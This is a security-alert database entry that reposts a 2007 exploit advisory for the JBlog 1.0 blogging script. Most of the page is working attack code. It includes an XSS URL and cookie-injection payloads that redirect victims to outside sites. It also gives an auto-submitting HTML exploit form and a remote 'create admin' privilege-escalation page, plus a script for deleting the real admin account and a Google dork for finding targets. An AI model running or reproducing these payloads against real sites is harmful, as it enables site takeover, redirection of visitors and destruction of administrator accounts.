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Home arrow SecurityAlert Database

Arrow  Topic :

JBlog 1.0 Creat Admin exploit, xss, Cookie Manipulation


Arrow  SecurityAlert : 2919
Arrow  CVE : CVE-2007-3974
Arrow  CVE : CVE-2007-3973
Arrow  SecurityRisk : Low  Security Risk Low  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Given : Yes
Arrow  Credit : s4mi
Arrow  Published : 26.07.2007

Arrow  Affected Software : JBlog 1.0



Arrow  Advisory Text :  

<!--
########################################################################
######
# Script...............: JBlog version: 1.0 #
# Script Site..........: http://www.jmuller.net/jblog #
# Vulnerability........: Creat Admin exploit, xss, Cookie Manipulation #
# Access...............: Remote #
# level................: Dangerous #
# Author...............: s4mi #
# Contact..............: S4mi[at]LinuxMail.org #
#
#
########################################################################
######

cookies Manipulation + Cross Site Scripting :
========================================================================
=
xss:
----
http://site.com/jblog/index.php?id=">[xss Here]&pcomm=com

cookies Manipulation:
--------------------
The POST variable 'search' in /jblog/recherche.php also The Cookie
variable 'theme' is affected and can be set to :

<meta http-equiv='Set-cookie' content='name=value'>

also we can do this :

<meta http-equiv='Set-cookie'
content='theme=<body+onload=alert("owned_by_Hacker")>'>

or :

<meta http-equiv='Set-cookie'
content='theme=<body+onload=document.location="http://Bad.site.com/">'>

This is a small exemple of Inject Cookie Xploit (Cookie Manipulation)
------------------------------------------------------------------------
---
<html>
<head>
<title>Inject Cookie Xploit By S4mi</title>
</head>
<body>
<script language="JavaScript">
function JBlogxpl()
{
document.xploit.action=document.xploit.victim.value;
document.xploit.submit();
}
</script>
<form name="xploit" method="post" action="">
<input type="hidden" name="victim"
value="http://victim/jblog/recherche.php">
<input type="hidden" name="search" value="<meta http-equiv='Set-cookie'
content='theme=<body+onload=document.location="http://milw0rm.co
m/">'>" />
<script>document.location="javascript: JBlogxpl()"</script>
</form>
</body>
</html>

========================================================================
====

Remote Privilege Escalation "Creat New Admin Xploit" By S4mi :
========================================================================
====
-->

<html>
<title>JBlog 1.0 -- Remote Privilege Escalation (Creat admin sploit) -- By
S4mi</title>
<body>
<script language="JavaScript">
function JBlogxpl() {
if (document.xploit.victim.value=="") {
alert("Please enter target!");
return false;
}
{

xploit.action="http://"+document.xploit.victim.value+"admin/ajoutaut.php
";
xploit.mot.value=document.xploit.mot.value;
xploit.droit.value=document.xploit.droit.value;
xploit.submit();
}
}

</script>
<strong><p>
------------------------------------------------------------------------
-------------------<br>
#JBlog 1.0 -- Remote Privilege Escalation Xploit (add user)<br>
# Discovered By...............: S4mi
<br>
# Contact..........................: S4mi[at]LinuxMail.org<br>
#<br>
# Google Dork : "propulsé par JBlog" <br>
------------------------------------------------------------------------
--------------------</p>
<form name="xploit" method="POST" onSubmit="JBlogxpl();">
Target -> Http://
<input type="text" name="victim" value="www.Site.com/Path/" size="44">
<p> Username.......->
<input type="text" name="mot" value="ZaZ" size="30">
(your password will be by default: <i>"admin"</i>)</p>
<p> User type......->
<select name="droit">
<option value="3">Admin</option>
<option value="2">Moderator</option>
<option value="1">Editor</option>
</select>
</p>
<p>Submit...........->
<input name="submit" type="submit" value=" Xploit it ">
</p>
</form>
<br>--------------------------------------------------------------------
-------------------<br>
#NB : Remember do not use a probably existing username (such as
"admin"). <br>
#If you want to Delete real admin account :D login into your New Created
admin account & use this :<br>
------------------------------------------------------------------------
--------------------<p>
<script language="JavaScript">

function AdminDelete()
{ if (document.xploit.victim.value=="") {
alert("Please enter target!");
return false;
}
if(confirm('Are you Sure!! want really DELETE user ?'))
document.location.href="http://"+document.xploit.victim.value+"admin/sup
auteur.php?cat="+document.userdel.id.value;
}
</script>
<form name="userdel" method="POST" onSubmit="">
ID...............> <input type="text" name="id" value="1" size="3">
</form>
<a href="#" OnClick="AdminDelete()"/>Delete</a>

<br>--------------------------------------------------------------------
---------------------------<br>
#Special Greetz to : Simo64, DrackaNz, Coder212, Iss4m, HarDose, r0_0t,
ddx39, Black-Code, Nuck3r... & all who know Me!

</body>
</html>



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